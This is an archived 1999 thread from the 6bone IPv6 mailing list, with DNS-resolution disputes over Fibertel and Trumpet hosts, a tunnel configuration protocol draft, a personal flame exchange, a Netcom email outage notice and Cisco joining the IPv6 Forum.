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Message-ID: <373AD561.7E8B3AC3@ix.netcom.com>
Date: Thu, 13 May 1999 14:36:36 +0100
From: Jeff Williams <jwkckid1@ix.netcom.com>
Organization: INEG. Inc.
X-Mailer: Mozilla 4.08 [en] (Win16; I)
MIME-Version: 1.0
To: Patricio Latini <platini@fibertel.com.ar>
CC: 6bone@ISI.EDU
Subject: Re: Fibertel pTLA WWW site
References: <002901be9bd0$3aced950$1000e818@fibertel.com.ar>
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--------------350C83855F3E577615A1943B
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Patricio,

  I will try in a bit, ok?  >;)  I have a lot of mail to sift through at
the moment.
Sorry about that.  BTW, I hope this reaches you, as you E-mail address
is also bouncing, so I am sending this to the list as well, just in
case.

Patricio Latini wrote:

>  hello jeff:              can you make a nslookup for me?or can you
> try now? Thanks Patricio LatiniFibertel TCI2
>
>      ----- Original Message -----
>      From: Jeff Williams
>      To: Patricio LatiniCc: 6bone@ISI.EDUSent: Lunes 10 de Mayo
>      de 1999 16:50Subject: Re: Fibertel pTLA WWW site
>       Patricio and all,
>
>        I am getting a "No DNS entry found" for your URL below.
>
>      Patricio Latini wrote:
>
>     > 6bone people:                       We recently become a
>     > pTLA, and i want to tell you that i installes a new WWW
>     > server if you want to reach it it's address is
>     > www.ipv6.fibertel.com.ar or 3ffe:3800:1::2 Thanks Patricio
>     > LatiniFibertel TCI2Argentina
>
>
>      Regards,
>      --
>      Jeffrey A. Williams
>      CEO/DIR. Internet Network Eng/SR. Java/CORBA Development
>      Eng.
>      Information Network Eng. Group. INEG. INC.
>      E-Mail jwkckid1@ix.netcom.com
>      Contact Number:  972-447-1894
>      Address: 5 East Kirkwood Blvd. Grapevine Texas 75208
>
>

Regards,
--
Jeffrey A. Williams
CEO/DIR. Internet Network Eng/SR. Java/CORBA Development Eng.
Information Network Eng. Group. INEG. INC.
E-Mail jwkckid1@ix.netcom.com
Contact Number:  972-447-1894
Address: 5 East Kirkwood Blvd. Grapevine Texas 75208


--------------350C83855F3E577615A1943B
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 7bit

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML>
<BODY BGCOLOR="#FFFFFF">
Patricio,
<P>&nbsp; I will try in a bit, ok?&nbsp; >;)&nbsp; I have a lot of mail
to sift through at the moment.
<BR>Sorry about that.&nbsp; BTW, I hope this reaches you, as you E-mail
address
<BR>is also bouncing, so I am sending this to the list as well, just in
case.
<P>Patricio Latini wrote:
<BLOCKQUOTE TYPE=CITE>&nbsp;<FONT SIZE=-1>hello jeff:</FONT><FONT SIZE=-1>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
can you make a nslookup for me?</FONT><FONT SIZE=-1>or can you try now?</FONT>&nbsp;<FONT SIZE=-1>Thanks</FONT>&nbsp;<FONT SIZE=-1>Patricio
Latini</FONT><FONT SIZE=-1>Fibertel TCI2</FONT>
<BLOCKQUOTE 
style="BORDER-LEFT: #000000 2px solid; MARGIN-LEFT: 5px; MARGIN-RIGHT: 0px; PADDING-LEFT: 5px; PADDING-RIGHT: 0px">
<DIV style="FONT: 10pt arial">----- Original Message -----
<DIV style="BACKGROUND: #e4e4e4; font-color: black"><B>From:</B> <A HREF="mailto:jwkckid1@ix.netcom.com" title="jwkckid1@ix.netcom.com">Jeff
Williams</A></DIV>
<B>To:</B> <A HREF="mailto:platini@fibertel.com.ar" title="platini@fibertel.com.ar">Patricio
Latini</A><B>Cc:</B> <A HREF="mailto:6bone@ISI.EDU" title="6bone@ISI.EDU">6bone@ISI.EDU</A><B>Sent:</B>
Lunes 10 de Mayo de 1999 16:50<B>Subject:</B> Re: Fibertel pTLA WWW site</DIV>
&nbsp;Patricio and all,
<P>&nbsp; I am getting a "No DNS entry found" for your URL below.
<P>Patricio Latini wrote:
<BLOCKQUOTE TYPE = CITE><STYLE></STYLE>
<FONT SIZE=-1>6bone people:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
We recently become a pTLA, and i want to tell you that i installes a new
WWW server if you want to reach it it's address is <A HREF="http://www.ipv6.fibertel.com.ar">www.ipv6.fibertel.com.ar</A>
or 3ffe:3800:1::2</FONT> <FONT SIZE=-1>Thanks</FONT> <FONT SIZE=-1>Patricio
LatiniFibertel TCI2Argentina</FONT></BLOCKQUOTE>

<P><BR>Regards,
<BR>--
<BR>Jeffrey A. Williams
<BR>CEO/DIR. Internet Network Eng/SR. Java/CORBA Development Eng.
<BR>Information Network Eng. Group. INEG. INC.
<BR>E-Mail <A HREF="mailto:jwkckid1@ix.netcom.com">jwkckid1@ix.netcom.com</A>
<BR>Contact Number:&nbsp; 972-447-1894
<BR>Address: 5 East Kirkwood Blvd. Grapevine Texas 75208
<BR>&nbsp;</BLOCKQUOTE>
</BLOCKQUOTE>

<P><BR>Regards,
<BR>--
<BR>Jeffrey A. Williams
<BR>CEO/DIR. Internet Network Eng/SR. Java/CORBA Development Eng.
<BR>Information Network Eng. Group. INEG. INC.
<BR>E-Mail jwkckid1@ix.netcom.com
<BR>Contact Number:&nbsp; 972-447-1894
<BR>Address: 5 East Kirkwood Blvd. Grapevine Texas 75208
<BR>&nbsp;
</BODY>
</HTML>

--------------350C83855F3E577615A1943B--


From 6bone-owner  Thu May 13 14:26:59 1999
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Message-ID: <373AD628.94F17013@ix.netcom.com>
Date: Thu, 13 May 1999 14:39:55 +0100
From: Jeff Williams <jwkckid1@ix.netcom.com>
Organization: INEG. Inc.
X-Mailer: Mozilla 4.08 [en] (Win16; I)
MIME-Version: 1.0
To: Peter Tattam <peter@jazz-1.trumpet.com.au>
CC: 6bone@ISI.EDU
Subject: Re: Additional Routing problem to:[Fwd: Undeliverable: Re: Fibertel pTLA WWW site]
References: <Pine.BSF.3.96.990513220925.2078A-100000@jazz-1.trumpet.com.au>
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Peter,

  Are you saying that ISI's DNS server is lame?  Hope not!  That is
where
I am pointing.  BTW I am cc'ing this to the IPv6 list as your E-Mail
bounces fairly often...

Peter Tattam wrote:

> I believe you must have a bad DNS server causing you much hassle.
>
> Peter
>
> --
> Peter R. Tattam                            peter@trumpet.com
> Managing Director,    Trumpet Software International Pty Ltd
> Hobart, Australia,  Ph. +61-3-6245-0220,  Fax +61-3-62450210

Regards,

--
Jeffrey A. Williams
CEO/DIR. Internet Network Eng/SR. Java/CORBA Development Eng.
Information Network Eng. Group. INEG. INC.
E-Mail jwkckid1@ix.netcom.com
Contact Number:  972-447-1894
Address: 5 East Kirkwood Blvd. Grapevine Texas 75208



From 6bone-owner  Thu May 13 14:37:34 1999
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Message-ID: <373AD874.66375780@ix.netcom.com>
Date: Thu, 13 May 1999 14:49:43 +0100
From: Jeff Williams <jwkckid1@ix.netcom.com>
Organization: INEG. Inc.
X-Mailer: Mozilla 4.08 [en] (Win16; I)
MIME-Version: 1.0
To: Peter Tattam <peter@jazz-1.trumpet.com.au>
CC: 6bone@ISI.EDU
Subject: Re: Additional Routing problem to:[Fwd: Undeliverable: Re: Fibertel pTLA WWW site]
References: <Pine.BSF.3.96.990513221244.2078B-100000@jazz-1.trumpet.com.au>
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Peter,

  As I have pointed out on two separate occasions on different threads
on this subject, I am not pointing to those DNS servers presently.
I am pointing to ISI/IANA's DNS servers.  However Netcom's Name servers
point there as well, as you correctly indicate here.  >;)

  I also already posted where I got my results from my DNS queries
on the another thread as well.  The are as follows:
Your DN and IP address provided by do not resolve or is invalid from
the Following:
ARIN
APPNIC
RIPE

  Two other things also BTW.  I am cc'ing this to the list as your E-mail
address often bounces, as this thread indicates, and I do NOT partake
in smoking or drinking of alcoholic beverages of any kind, just to answer
your last question definitively!  >;)

Peter Tattam wrote:

> I did a dig of jazz-1.trumpet.com.au from your name servers at netcom.com
>
>         as1.netcom.com
>         as2.netcom.com
>         as3.netcom.com
>         as4.netcom.com
>
> and they are all returning the correct results.  I don't know what you are
> using that is returning host not found.  Please explain?  Ar you using DNS
> servers that are restricted to IPv6 domain or what?  (Or are you smoking
> something odd :)
>
> Peter
>
> --
> Peter R. Tattam                            peter@trumpet.com
> Managing Director,    Trumpet Software International Pty Ltd
> Hobart, Australia,  Ph. +61-3-6245-0220,  Fax +61-3-62450210

Regards,

--
Jeffrey A. Williams
CEO/DIR. Internet Network Eng/SR. Java/CORBA Development Eng.
Information Network Eng. Group. INEG. INC.
E-Mail jwkckid1@ix.netcom.com
Contact Number:  972-447-1894
Address: 5 East Kirkwood Blvd. Grapevine Texas 75208



From 6bone-owner  Thu May 13 16:12:32 1999
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Date: Fri, 14 May 1999 09:12:19 +1000 (EST)
From: Peter Tattam <peter@jazz-1.trumpet.com.au>
To: deployment@ipv6.org, 6bone@ISI.EDU, ipng@sunroof.eng.sun.com
Subject: Re: Yet another Dynamic Tunnel Configuration Protocol
In-Reply-To: <Pine.BSF.3.96.990513141623.3760A-100000@jazz-1.trumpet.com.au>
Message-ID: <Pine.BSF.3.96.990514090943.10133B-100000@jazz-1.trumpet.com.au>
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A fresh draft with corrections is now available.

HTTP://jazz-1.trumpet.com.au/ipv6-draft/dtcp-draft-prt-14-may-1999.htm


On Thu, 13 May 1999, Peter Tattam wrote:

> I am publishing a draft specification of a tunnel configuration protocol that I
> have designed and implemented.  Another implementation was quickly
> developed by the KAME group, to which we obtained good interoperability.
> 
> HTTP://jazz-1.trumpet.com.au/ipv6-draft/dtcp-draft-prt-13-may-1999.htm
> 
> Comments either to me or to the lists.
> 
> I will be using this protocol or further derivations of it to roll out IPv6 to
> our regular IPv4 internet customers. 
> 
> Apologies if this is sent to the wrong lists, or if I have duplicated the work
> of others.  I did review the tunnel broker model and I believe that this
> protocol can only serve to complement it.
> 
> Peter
> 
> --
> Peter R. Tattam                            peter@trumpet.com
> Managing Director,    Trumpet Software International Pty Ltd
> Hobart, Australia,  Ph. +61-3-6245-0220,  Fax +61-3-62450210
> 
> 

--
Peter R. Tattam                            peter@trumpet.com
Managing Director,    Trumpet Software International Pty Ltd
Hobart, Australia,  Ph. +61-3-6245-0220,  Fax +61-3-62450210


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Date: Thu, 13 May 1999 20:17:25 -0400
From: "Jason T. Nelson" <jtn@eboai.org>
To: 6bone@ISI.EDU
Subject: sigh, re Jeff Williams
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Jeff Williams is a known loonie and possible troll on the inet-access list 
(thank goodness he seems to have either stopped tormenting us or the list 
manager finally booted him off).

I'm sorry to have to introduce this badly off-topic posting, but he's
starting to drag the list down with non-operational issues and I felt
everyone here should know.

-- 
Jason T. Nelson <jtn@eboai.org>
BOFH Extraordiaire
http://www.eboai.org/~jtn/
disclaimer: My opinions are my own. Don't bother my employer about them.

From 6bone-owner  Thu May 13 21:58:37 1999
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Message-ID: <373B3FED.5527630C@ix.netcom.com>
Date: Thu, 13 May 1999 22:11:11 +0100
From: Jeff Williams <jwkckid1@ix.netcom.com>
Organization: INEG. Inc.
X-Mailer: Mozilla 4.08 [en] (Win16; I)
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To: Peter Tattam <peter@jazz-1.trumpet.com.au>
CC: deployment@ipv6.org, 6bone@ISI.EDU, ipng@sunroof.eng.sun.com,
        register@aunic.net
Subject: Re: Yet another Dynamic Tunnel Configuration Protocol
References: <Pine.BSF.3.96.990514090943.10133B-100000@jazz-1.trumpet.com.au>
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Peter and all,

  maybe this is why your listed URL is showing partly lame here
Peter.

 http://www.aunic.net/cgi-bin/whois?trumpet.com.au shows
No match for "TRUMPET.COM.AU"

Also:
however, http://www.aunic.net/cgi-bin/whois.aunic?trumpet.com.au
shows the following for trumpet.com.au :

domain:      trumpet.com.au
descr:       Trumpet Software International
descr:       GPO Box 1649
descr:       Hobart
descr:       TAS 7001
admin-c:     PT1-AU
tech-c:      SDB200-AU
zone-c:      PT1-AU
remarks:     Created 19950731
changed:     register@aunic.net 19970120
source:      AUNIC

person:      Peter Tattam
address:     GPO Box 1649
address:     Hobart
address:     TASMANIA 7001
phone:       +61 02 450220
fax-no:      +61 02 450210
e-mail:      peter@trumpet.com.au
nic-hdl:     PT1-AU
remarks:     (Organisation) Trumpet Software International
remarks:     Created 19960409
changed:     register@aunic.net 19981105
source:      AUNIC

person:      Simon David de Bomford
address:     24 Cambridge Road
address:     Bellerive
address:     TAS 7018
phone:       +61 3 6245 0220
fax-no:      +61 3 6245 0210
e-mail:      simon@trumpet.com.au
nic-hdl:     SDB200-AU
remarks:     (Organisation) Trumpet Software International
remarks:     (position) Network Manager
remarks:     Created 19961029
changed:     register@aunic.net 19961029
source:      AUNIC




Peter Tattam wrote:

> A fresh draft with corrections is now available.
>
> HTTP://jazz-1.trumpet.com.au/ipv6-draft/dtcp-draft-prt-14-may-1999.htm
>
> On Thu, 13 May 1999, Peter Tattam wrote:
>
> > I am publishing a draft specification of a tunnel configuration protocol that I
> > have designed and implemented.  Another implementation was quickly
> > developed by the KAME group, to which we obtained good interoperability.
> >
> > HTTP://jazz-1.trumpet.com.au/ipv6-draft/dtcp-draft-prt-13-may-1999.htm
> >
> > Comments either to me or to the lists.
> >
> > I will be using this protocol or further derivations of it to roll out IPv6 to
> > our regular IPv4 internet customers.
> >
> > Apologies if this is sent to the wrong lists, or if I have duplicated the work
> > of others.  I did review the tunnel broker model and I believe that this
> > protocol can only serve to complement it.
> >
> > Peter
> >
> > --
> > Peter R. Tattam                            peter@trumpet.com
> > Managing Director,    Trumpet Software International Pty Ltd
> > Hobart, Australia,  Ph. +61-3-6245-0220,  Fax +61-3-62450210
> >
> >
>
> --
> Peter R. Tattam                            peter@trumpet.com
> Managing Director,    Trumpet Software International Pty Ltd
> Hobart, Australia,  Ph. +61-3-6245-0220,  Fax +61-3-62450210

Regards,

--
Jeffrey A. Williams
CEO/DIR. Internet Network Eng/SR. Java/CORBA Development Eng.
Information Network Eng. Group. INEG. INC.
E-Mail jwkckid1@ix.netcom.com
Contact Number:  972-447-1894
Address: 5 East Kirkwood Blvd. Grapevine Texas 75208



From 6bone-owner  Thu May 13 22:05:54 1999
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Date: Thu, 13 May 1999 22:19:23 +0100
From: Jeff Williams <jwkckid1@ix.netcom.com>
Organization: INEG. Inc.
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To: "Jason T. Nelson" <jtn@eboai.org>
CC: 6bone@ISI.EDU, bmanning@ISI.EDU
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Jason and all,

 Jason, you have no idea what you are talking about .  List manager,
is this sort of personal unprovoked attack allowed on this list?


Jason T. Nelson wrote:

> Jeff Williams is a known loonie and possible troll on the inet-access list
> (thank goodness he seems to have either stopped tormenting us or the list
> manager finally booted him off).
>
> I'm sorry to have to introduce this badly off-topic posting, but he's
> starting to drag the list down with non-operational issues and I felt
> everyone here should know.
>
> --
> Jason T. Nelson <jtn@eboai.org>
> BOFH Extraordiaire
> http://www.eboai.org/~jtn/
> disclaimer: My opinions are my own. Don't bother my employer about them.

Regards,

--
Jeffrey A. Williams
CEO/DIR. Internet Network Eng/SR. Java/CORBA Development Eng.
Information Network Eng. Group. INEG. INC.
E-Mail jwkckid1@ix.netcom.com
Contact Number:  972-447-1894
Address: 5 East Kirkwood Blvd. Grapevine Texas 75208



From 6bone-owner  Thu May 13 23:41:31 1999
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Subject: Re: sigh, re Jeff Williams
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Jeff,

I think that your ISP provider (netcom.com)  is having some
problems... just followup on with your upstream
provider to see , why you can't resolve the issues
and the resons on your email bouncing before posting
to the list, please.

Thank you

/pete
-------------------------
Netcom E-mail Outage

     As many of you know, Netcom experienced an e-mail file
server failure.
     Below is an explanation and response from MindSpring CEO,
Charles
     Brewer.

     Update - Thursday, May 13. We are still working on fixing
the problem.
     Thank you for your continued patience.

------------------
Jeff Williams wrote:

> Jason and all,
>
>  Jason, you have no idea what you are talking about .  List
> manager,
> is this sort of personal unprovoked attack allowed on this
> list?
>
> Jason T. Nelson wrote:
>
> > Jeff Williams is a known loonie and possible troll on the
> inet-access list
> > (thank goodness he seems to have either stopped tormenting us
> or the list
> > manager finally booted him off).
> >
> > I'm sorry to have to introduce this badly off-topic posting,
> but he's
> > starting to drag the list down with non-operational issues
> and I felt
> > everyone here should know.
> >
> > --
> > Jason T. Nelson <jtn@eboai.org>
> > BOFH Extraordiaire
> > http://www.eboai.org/~jtn/
> > disclaimer: My opinions are my own. Don't bother my employer
> about them.
>
> Regards,
>
> --
> Jeffrey A. Williams
> CEO/DIR. Internet Network Eng/SR. Java/CORBA Development Eng.
> Information Network Eng. Group. INEG. INC.
> E-Mail jwkckid1@ix.netcom.com
> Contact Number:  972-447-1894
> Address: 5 East Kirkwood Blvd. Grapevine Texas 75208




From 6bone-owner  Fri May 14 00:33:11 1999
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Date: Fri, 14 May 1999 00:46:11 +0100
From: Jeff Williams <jwkckid1@ix.netcom.com>
Organization: INEG. Inc.
X-Mailer: Mozilla 4.08 [en] (Win16; I)
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To: Peter Dawson <peterdd@gto.net.om>
CC: "Jason T. Nelson" <jtn@eboai.org>, 6bone@ISI.EDU, bmanning@ISI.EDU
Subject: Sigh, Pete Dawson was:Re: sigh, re Jeff Williams
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Pete and all,

  This will make the 4th time I have spelled this out.  I am NOT
pointing to
NETCOM's DNS server with this ID.  Second, the URL's that I have pointed

out do also not resolve from AOL, and Flashnet either. Third,
 http://www.aunic.net/cgi-bin/whois?trumpet.com.au shows that
No match for "TRUMPET.COM.AU"  which I am suggesting that
Peters URL:
HTTP://jazz-1.trumpet.com.au/ipv6-draft/dtcp-draft-prt-14-may-1999.htm
is likely lame, or has a routing (Tunneling?) problem. Forth,
Neither my AOL nor my Flashnet can resolve
http://www-ipv4.ipv6.fibertel.com.ar ,
  or ipv6.fibertel.com.ar or dns.ipv6.fibertel.com.ar of Patricio Latini
<platini@fibertel.com.ar> and yesterday, (www.nic.ar) whois did not
show an entry for fibertel.com.ar, however it did today.

  In the future Peter, it might be to your advantage before posting to
clearly read the previous threads completely and understand them or ask
me for clarification on them before creating such a denigrating thread
that is both inaccurate and insulting unnecessarily.  BTW, I called
Netcom/Mindspring operations center and they are not aware of any
E-Mail outage and reported none either.  I will get in touch with
Mr. Brewer in the mourning by phone as I am a large stock holder
and find out about your PARTIAL message you quote below.  Interesting
you did not include his E-mail address in your qoute of him....

Thank you for your cooperation in advance.  >;)

Peter Dawson wrote:

> Jeff,
>
> I think that your ISP provider (netcom.com)  is having some
> problems... just followup on with your upstream
> provider to see , why you can't resolve the issues
> and the resons on your email bouncing before posting
> to the list, please.
>
> Thank you
>
> /pete
> -------------------------
> Netcom E-mail Outage
>
>      As many of you know, Netcom experienced an e-mail file
> server failure.
>      Below is an explanation and response from MindSpring CEO,
> Charles
>      Brewer.
>
>      Update - Thursday, May 13. We are still working on fixing
> the problem.
>      Thank you for your continued patience.
>
> ------------------
> Jeff Williams wrote:
>
> > Jason and all,
> >
> >  Jason, you have no idea what you are talking about .  List
> > manager,
> > is this sort of personal unprovoked attack allowed on this
> > list?
> >
> > Jason T. Nelson wrote:
> >
> > > Jeff Williams is a known loonie and possible troll on the
> > inet-access list
> > > (thank goodness he seems to have either stopped tormenting us
> > or the list
> > > manager finally booted him off).
> > >
> > > I'm sorry to have to introduce this badly off-topic posting,
> > but he's
> > > starting to drag the list down with non-operational issues
> > and I felt
> > > everyone here should know.
> > >
> > > --
> > > Jason T. Nelson <jtn@eboai.org>
> > > BOFH Extraordiaire
> > > http://www.eboai.org/~jtn/
> > > disclaimer: My opinions are my own. Don't bother my employer
> > about them.
> >
> > Regards,
> >
> > --
> > Jeffrey A. Williams
> > CEO/DIR. Internet Network Eng/SR. Java/CORBA Development Eng.
> > Information Network Eng. Group. INEG. INC.
> > E-Mail jwkckid1@ix.netcom.com
> > Contact Number:  972-447-1894
> > Address: 5 East Kirkwood Blvd. Grapevine Texas 75208

Regards,

--
Jeffrey A. Williams
CEO/DIR. Internet Network Eng/SR. Java/CORBA Development Eng.
Information Network Eng. Group. INEG. INC.
E-Mail jwkckid1@ix.netcom.com
Contact Number:  972-447-1894
Address: 5 East Kirkwood Blvd. Grapevine Texas 75208



From 6bone-owner  Fri May 14 02:32:52 1999
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FYI   please see http:/www.netcom.com
as this is off topic of 6bone activites,
I'll refrain from further postings.
Thank you

/pete

Jeff Williams wrote:

 BTW, I called

> Netcom/Mindspring operations center and they are not aware of
> any
> E-Mail outage and reported none either.  I will get in touch
> with
> Mr. Brewer in the mourning by phone as I am a large stock
> holder
> and find out about your PARTIAL message you quote below.
> Interesting
> you did not include his E-mail address in your qoute of him....




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Peter and all

  FIrst of all it would be better if you got you Http address correct.
It
is http://www2.netcom.com not http:/www.netcom.com.  You left
out a "/" and you also did not get the "www" correct as it should have
been
"www2".  Second, if you read the E-Mail outage message correctly it
clearly goes on to state:
"Netcom E-mail Outage

      As many of you know, Netcom experienced an e-mail file server
failure.
      Below is an explanation and response from MindSpring CEO, Charles
      Brewer.

      Update - Thursday, May 13. We are still working on fixing the
problem.
      Thank you for your continued patience.



      Dear MindSpring/NETCOM Customer,

      I'm sending this message to all of our customers who have a NETCOM

      e-mail address beginning with the letter "d". We at MindSpring owe
all of
      you a big apology!

      On Monday evening, an e-mail server in the NETCOM network failed.
As
      a result, MindSpring/NETCOM customers with mailbox names beginning

      with the letter "d" were not able to retrieve their e-mail until
6:30 AM
      EDT/3:30 AM PDT this morning (Wednesday, May 12).

      Here is the current state of things:

           Your mailbox should be active by 2AM Eastern Time Thursday
           morning (Wednesday evening) Because of the heavy traffic
while
           everyone collects their messages, for a short period of time
the
           system may run slowly or even indicate an occasional failed
           connection to the mail server. This does not indicate the
servers
           have failed again. "


Peter Dawson wrote:

> FYI   please see http:/www.netcom.com
> as this is off topic of 6bone activites,
> I'll refrain from further postings.
> Thank you
>
> /pete
>
> Jeff Williams wrote:
>
>  BTW, I called
>
> > Netcom/Mindspring operations center and they are not aware of
> > any
> > E-Mail outage and reported none either.  I will get in touch
> > with
> > Mr. Brewer in the mourning by phone as I am a large stock
> > holder
> > and find out about your PARTIAL message you quote below.
> > Interesting
> > you did not include his E-mail address in your qoute of him....

Kindest regards,

--
Jeffrey A. Williams
CEO/DIR. Internet Network Eng/SR. Java/CORBA Development Eng.
Information Network Eng. Group. INEG. INC.
E-Mail jwkckid1@ix.netcom.com
Contact Number:  972-447-1894
Address: 5 East Kirkwood Blvd. Grapevine Texas 75208


--------------44B8E4D6D10D7B96C629F7CC
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 7bit

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML>
Peter and all
<P>&nbsp; FIrst of all it would be better if you got you Http address correct.&nbsp;
It
<BR>is <A HREF="http://www2.netcom.com">http://www2.netcom.com</A> not <A HREF="http:/www.netcom.com">http:/www.netcom.com</A>.&nbsp; You left
<BR>out a <B>"/" </B>and you also did not get the<B> "www"</B> correct
as it should have been
<BR><B>"www2"</B>.&nbsp; Second, if you read the E-Mail outage message
correctly it
<BR>clearly goes on to state:
<BR>"Netcom E-mail Outage
<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; As many of you know, Netcom experienced
an e-mail file server failure.
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Below is an explanation and response
from MindSpring CEO, Charles
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Brewer.
<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Update - Thursday, May 13. We are still
working on fixing the problem.
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Thank you for your continued patience.
<BR>&nbsp;
<BR>&nbsp;
<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Dear MindSpring/NETCOM Customer,
<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; I'm sending this message to all of our
customers who have a NETCOM
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; e-mail address beginning with the letter
"d". We at MindSpring owe all of
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; you a big apology!
<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; On Monday evening, an e-mail server in
the NETCOM network failed. As
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; a result, MindSpring/NETCOM customers
with mailbox names beginning
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; with the letter "d" were not able to
retrieve their e-mail until 6:30 AM
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; EDT/3:30 AM PDT this morning (Wednesday,
May 12).
<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Here is the current state of things:
<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Your mailbox
should be active by 2AM Eastern Time Thursday
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; morning
(Wednesday evening) Because of the heavy traffic while
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; everyone
collects their messages, for a short period of time the
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; system
may run slowly or even indicate an occasional failed
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; connection
to the mail server. This does not indicate the servers
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; have failed
again. "
<BR>&nbsp;
<P>Peter Dawson wrote:
<BLOCKQUOTE TYPE=CITE>FYI&nbsp;&nbsp; please see <A HREF="http:/www.netcom.com">http:/www.netcom.com</A>
<BR>as this is off topic of 6bone activites,
<BR>I'll refrain from further postings.
<BR>Thank you
<P>/pete
<P>Jeff Williams wrote:
<P>&nbsp;BTW, I called
<P>> Netcom/Mindspring operations center and they are not aware of
<BR>> any
<BR>> E-Mail outage and reported none either.&nbsp; I will get in touch
<BR>> with
<BR>> Mr. Brewer in the mourning by phone as I am a large stock
<BR>> holder
<BR>> and find out about your PARTIAL message you quote below.
<BR>> Interesting
<BR>> you did not include his E-mail address in your qoute of him....</BLOCKQUOTE>
Kindest regards,
<P>--
<BR>Jeffrey A. Williams
<BR>CEO/DIR. Internet Network Eng/SR. Java/CORBA Development Eng.
<BR>Information Network Eng. Group. INEG. INC.
<BR>E-Mail jwkckid1@ix.netcom.com
<BR>Contact Number:&nbsp; 972-447-1894
<BR>Address: 5 East Kirkwood Blvd. Grapevine Texas 75208
<BR>&nbsp;</HTML>

--------------44B8E4D6D10D7B96C629F7CC--


From 6bone-owner  Fri May 14 02:50:57 1999
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Message-ID: <01BE9DFF.379E5FE0.Latif.LADID@village.uunet.lu>
From: "Latif LADID ( latif.ladid@tbit.dk)" <Latif.LADID@village.uunet.lu>
Reply-To: "latif.ladid@tbit.dk" <latif.ladid@tbit.dk>
To: "'IPv6 Deployment List'" <deployment@ipv6.org>,
        "'ngtrans@sunroof.eng.sun.com'" <ngtrans@sunroof.eng.sun.com>,
        "'6BONE List'" <6bone@ISI.EDU>, "'users@ipv6.org'" <users@ipv6.org>,
        "'Patrick Grossetete'" <pgrosset@cisco.com>
Cc: "'Vinton G. Cerf'" <vcerf@MCI.NET>,
        "'Brian E Carpenter'"
	 <brian@hursley.ibm.com>,
        "'Bob Fink'" <fink@es.net>, "'Bob Hinden'"
	 <hinden@iprg.nokia.com>,
        "'Steve Deering'" <deering@cisco.com>,
        "'Jim Bound'" <bound@zk3.dec.com>
Cc: "'John Tavs'" <tavs@us.ibm.com>, "'Tony Hain'" <tonyhain@microsoft.com>,
        "'Svend Moller Nielsen'" <smn@tbit.dk>,
        "'Itidal Hasoon'" <itidal@emirates.net.ae>,
        "'JORDI PALET MARTINEZ'" <jordi@consulintel.es>,
        "'Martin Sten'" <Martin@netmedia.fi>
Cc: "'Jun Murai'" <jun@wide.ad.jp>,
        "'Remy Bayou'"
	 <Remy.Bayou@bxl.dg13.cec.be>,
        "'Franck Boissiere'"
	 <franck.boissiere@dg13.cec.be>,
        "'Peter Heywood'"
	 <pheywood@data.com>,
        "'Peter Kirstein'" <p.kirstein@cs.ucl.ac.uk>,
        "'Patrick Cocquet'" <patrick.cocquet@detexis.thomson-csf.com>
Cc: "'Marc Blanchet'" <Marc.Blanchet@viagenie.qc.ca>,
        "'mmcneali@europe.cisco.com'" <mmcneali@europe.cisco.com>,
        "'jbutler@europe.cisco.com'" <jbutler@europe.cisco.com>,
        "'Fred Baker'" <fred@cisco.com>,
        "'Richard Draves'" <richdr@microsoft.com>,
        "'Dale Finkelson'" <dmf@unl.edu>
Cc: "'Peter Ford'" <peterf@microsoft.com>
Subject: CISCO  Joins the IPv6 FORUM '' Founding Members'' 
Date: Fri, 14 May 1999 11:45:00 +0200
Organization: Telebit Communications A/S
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Dear Patrick,

Thanks for the good news in joining the IPv6 FORUM!

We are very pleased to welcome CISCO as one the Official 'Founding Members' of 
the IPv6 FORUM.

Thanks for your initiative!

R,
/Latif

Dear Latif,

Please find attached Cisco's registration form to the IPv6 Forum.

Regards
Patrick
__________________________________________________________
Patrick Grossetete
Senior Consulting Engineer

Cisco Systems EMEA               *      |            |      *
Phone/Vmail: 33.1.6918 6152     *     |||          |||     *
Fax: 33.1.6928 8326                   *    |||||        |||||    *
     mobile: 33.6.0773 7360          * .:||||||||:...:|||||||:. *
    Email:pgrosset@cisco.com    *    Cisco Systems EMEA    *
____________________________________________________________


From 6bone-owner  Fri May 14 04:59:51 1999
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Subject: Re: New DNS server for IPv6 in Fibertel
To: platini@fibertel.com.ar (Patricio Latini)
